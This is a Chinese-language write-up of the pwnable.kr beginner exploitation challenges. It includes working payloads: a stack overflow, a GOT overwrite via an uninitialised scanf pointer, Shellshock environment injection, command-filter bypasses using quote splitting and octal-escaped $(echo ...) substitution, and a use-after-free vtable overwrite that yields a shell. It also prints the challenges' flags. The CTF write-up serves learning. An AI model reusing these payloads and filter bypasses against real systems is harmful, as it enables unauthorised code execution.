Pwnable.kr
和糖果师傅学 Linux Exploit,发现 pwnable.kr 上面的题目很有趣,边学边做。
1. fd
考察的是 Linux 文件描述符相关知识:
fd == 0 为标准输入
fd == 1 为标准输出
fd == 2 为标准错误输出
将 argv[1]
减去 4660,read(fd),然后比较字符串:
⋊> ~/p/1_fd ./fd 4660
LETMEWIN
good job :)
/bin/cat: flag: No such file or directory
2. collision
IDA F5 给出的代码很清晰,输入 5 个数,和为 0x21DD09EC:
.data:0804A020 public hashcode
.data:0804A020 hashcode dd 21DD09ECh ; DATA XREF: main+97r
if ( strlen(argv[1]) == 20 )
{
if ( check_password((int)argv[1]) == hashcode )
{
system("/bin/cat flag");
result = 0;
}
int __cdecl check_password(int a1)
{
signed int i; // [sp+4h] [bp-Ch]@1
int v3; // [sp+8h] [bp-8h]@1
v3 = 0;
for ( i = 0; i <= 4; ++i )
v3 += *(_DWORD *)(a1 + 4 * i);
return v3;
}
3. bof
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
func 函数经典栈溢出,覆盖参数:”A” * (0x2C + 0x8) + pack(0x0CAFEBABE)
4. flag
upx -d flag
脱掉壳,strings 就可以看到 flag:
⋊> /tmp strings flag |grep -i upx
UPX...? sounds like a delivery service :)
5. passcode
scanf
未使用 &
传递指针,而是直接传递了变量,变量 passcode1
未初始化,导致函数 welcome
中的变量 name (ebp-70h)
最后 4 字节刚好可以覆盖 passcode1 (ebp-10h)
,造成任意地址的 4 字节写。
.text:08048564 passcode1 = dword ptr -10h
.text:08048564 passcode2 = dword ptr -0Ch
.text:08048564
.text:08048564 push ebp
.text:08048565 mov ebp, esp
.text:08048567 sub esp, 28h
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+passcode1] ; scanf 忘记写 &,参数2为新申请的变量
.text:0804857C ; 而新申请的变量未初始化,值为之前输入的 name
.text:0804857C ; 导致任意地址写
.text:0804857F mov [esp+4], edx
.text:08048583 mov [esp], eax
.text:08048586 call ___isoc99_scanf
.text:0804858B mov eax, ds:stdin@@GLIBC_2_0
.text:08048590 mov [esp], eax ; stream
.text:08048593 call _fflush
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
覆写 printf@got.plt
为 login ok 部分,改变程序流程:
⋊> ~/p/5_passcode python -c 'from pwn import *; print "A"*96+pack(0x804a000)+"134514135"' |./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : Login OK!
Done!!!!!!!!
Now I can safely trust you that you have credential :)
6. random
调用 random 函数时未初始化种子,C 语言中用户未设定随机数种子时,系统默认的随机数种子为 1,导致返回值固定为 1804289383。
7. input
考察的是 C 语言中各种参数的传递,通过 C 编程解决:http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
8. leg
考察 ARM 平台的调试,从来没有做过 ARM :(,在师傅的指导下终于做出来了。在 ARM 中,r0 相当于 EAX 用作返回值,pc 相当于下面第二条指令的地址,lr 相当于函数返回地址 ret。
key1
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0 ; key1() = 0x00008ce4
key2
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 ; key2() = 0x00008d08 + 4
key3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0 ; key3() = 0x00008d80
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!
9. mistake
误用了 C 函数 open 的 mode 参数,在存在 mode 参数时,open 的返回值为:若所有欲核查的权限都通过了检查则返回 0 值, 表示成功, 只要有一个权限被禁止则返回 -1。所以 fd == 0,导致 pw_buf 从标准输入读入,在 IDA Pesudocode 中可以很清晰的看到:
if ( (signed int)read(0, &buf, 10uLL) > 0 )
{
printf("input password : ", &buf);
__isoc99_scanf("%10s", &s2);
xor((__int64)&s2, 10u);
if ( !strncmp(&buf, &s2, 0xAuLL) )
{
puts("Password OK");
system("/bin/cat flag\n");
}
10. shellshock
shellshock 漏洞:
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ export echo="() { cat flag; }"
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
11. coin1
二分法成功解决。坑点:网络速度不够,脚本需要扔到服务器上面跑:(
12. blackjack
TODO
13. lotto
TODO
14. cmd1
shell 拼接字符串简单绕过:
cmd1@ubuntu:~$ ./cmd1 "/bin/cat 'fl''ag'"
mommy now I get what PATH environment is for :)
15. cmd2
这题比上面的难了些,过滤了很多,通过 echo 的编码/转义搞定。
$ #shell ascii
$ echo '\0101'
A
⋊> ~ ipython
In [1]: from pwn import *
In [2]: cmd = "/bin/cat flag"
In [3]: print "\\"+"\\".join([oct(i) for i in ordlist(cmd)])
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147
cmd2@ubuntu:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'
$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")
FuN_w1th_5h3ll_v4riabl3s_haha
16. uaf
典型的 UAF 漏洞,注意:先 free man,再 free woman,alloc 时会先获取到 woman 的空间,然后才是 man 空间,所以应该两次 alloc。
通过覆写虚表指针为虚表指针 - 8 获取 shell。
⋊> /tmp ipython
In [1]: from pwn import *
In [2]: pack(0x401568)
Out[2]: 'h\x15@\x00'
In [3]: with open('/tmp/123', 'w') as fd:
...: fd.write(pack(0x401568))
...:
⋊> /tmp scp -P2222 123 uaf@pwnable.kr:/tmp/halo
uaf@pwnable.kr's password:
123 100% 4 0.0KB/s 00:00
⋊> /tmp ssh uaf@pwnable.kr -p2222
uaf@pwnable.kr's password:
Last login: Mon Apr 11 23:09:42 2016 from 113.140.11.121
uaf@ubuntu:~$ ./uaf 24 /tmp/halo
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ id
uid=1069(uaf) gid=1069(uaf) egid=1070(uaf_pwn) groups=1069(uaf)
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning